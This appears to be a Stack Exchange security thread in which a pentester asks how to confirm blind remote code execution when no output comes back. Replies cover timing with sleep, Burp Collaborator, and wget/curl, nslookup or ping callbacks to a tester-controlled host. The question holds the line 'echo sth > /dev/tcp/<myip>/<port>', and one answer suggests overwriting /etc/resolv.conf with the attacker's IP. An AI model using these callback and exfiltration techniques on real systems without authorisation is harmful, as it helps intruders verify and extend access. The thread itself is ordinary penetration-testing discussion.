2

Suppose the following situation: You're doing a black-box pentest. You found that the customer runs software X and X has a remote code execution vulnerability, but the nature of this code execution is that stderr and stdout cannot be sent back to the attacker. In this sense, the execution works but you will never ever see the output of the commands you execute.

To make things even a bit harder, let's assume you cannot know the OS (and software X runs on all major platforms).

What can you do to verify whether your code execution actually works? I have figured out 2 ways to do so, at least in theory.

  1. You execute a ping <some IP> where is a box under your control. You'd have to tweak the network layer of that box in a way so that you can detect an incoming ping from your target victim machine.
  2. You execute a nslookup somename.yourdomain.com you are the owner of yourdomain.com. Again, the DNS server is setup in a way so that you are alerted when a DNS request for somename.yourdomain.com comes in.
  3. On linux/unix I can try echo sth > /dev/tcp/<myip>/<port>, hoping that the > character isn't sanitized somewhere on the way. And this doesn't work on Windows.

My question is: Are there easier ways to achieve the same goal?

kaidentity
  • 2,634
  • 13
  • 30
  • I like your option number 2. It's almost certain to work, whereas number one may fail because pings might be blocked. – Out of Band Nov 04 '16 at 21:53
  • There is a network setup to prevent option 2 from working: For outgoing traffic you use a proxy. The proxy does DNS resolution for external addresses. Browsers and other programs that rely on outbound traffic need to be configured to use the proxy. All internal traffic uses an internal DNS server which only resolves internal DNS addresses. In my scenario, the lookup for somename.yourdomain.com would be answered by the internal DNS server that doesn't know yourdomain.com. Note that you can also implement a reverse shell using such DNS requests... – kaidentity Nov 05 '16 at 08:13
  • Does that mean that the internal DNS will only resolve internal names and not refer to an upstream server if it doesn't know an answer? – Out of Band Nov 05 '16 at 09:06
  • Yes exactly. If you want to access external resources you need to go through the proxy – kaidentity Nov 05 '16 at 12:52

3 Answers3

2

The sleep command works on both Linux and Windows. The time for the software to respond normally vs when using the sleep command would indicate that the code execution works.

This would also not require any network traffic to show it was working which could be a benefit if outgoing traffic is blocked by a firewall.

mebmc
  • 126
  • 5
  • `sleep` doesn't help, maybe I wasn't clear enough in my question: I was referring to a situation where there is no channel back to the attacker. – kaidentity Nov 05 '16 at 08:10
  • But the basic idea might still be worth something - if you manage to do something on the compromised machine that produces a measurable lag in a reaction to a connection attempt or in an existing connection, that would be a backchannel you could use to send out information. – Out of Band Nov 05 '16 at 09:10
2

I use burp collaborator whenever I am testing any Out-of-Band exploits. Blind SQLi, XXE, RCE; Burp can be used to generate a collaborator URL that you can use for testing callbacks.

See below: https://portswigger.net/burp/documentation/collaborator

To clarify: you can use your nslookup method with burp collaborator as seen below:

enter image description here

leaustinwile
  • 366
  • 1
  • 8
1

More alternatives, but it would require tools to be present on the victim machine.

  1. Use wget or curl and access your HTTP server. You can easily check in the logs if there's a request from victim machine. Difficulty here is a good sysad would remove wget or curl from a production machine.
  2. Similar to 1, you can try an ssh or telnet request to your machine, and check the logs. Again, a good sysad would remove ssh and telnet clients.
  3. This would depend on what application you have access to. Best case, there is a webserver running on victim machine, and in that case just type or cat into a file and place it where you think the web root is. The idea is verifying command execution through writing in filesystem and using other services to check.
  4. If vulnerable application has root privileges, you can echo your IP into /etc/resolv.conf and open up listener to port 53.

Based on what you provided, I would also first guesstimate the OS using ping fingerprinting. TTL of 128 would be Windows, 64 *Nix. If it doesn't respond to ICMP packets, then, can't do this.

I know that these require more dependencies, but I think these are easier in terms of checking and validating if the code executed. Hope this helps.

Link
  • 496
  • 4
  • 7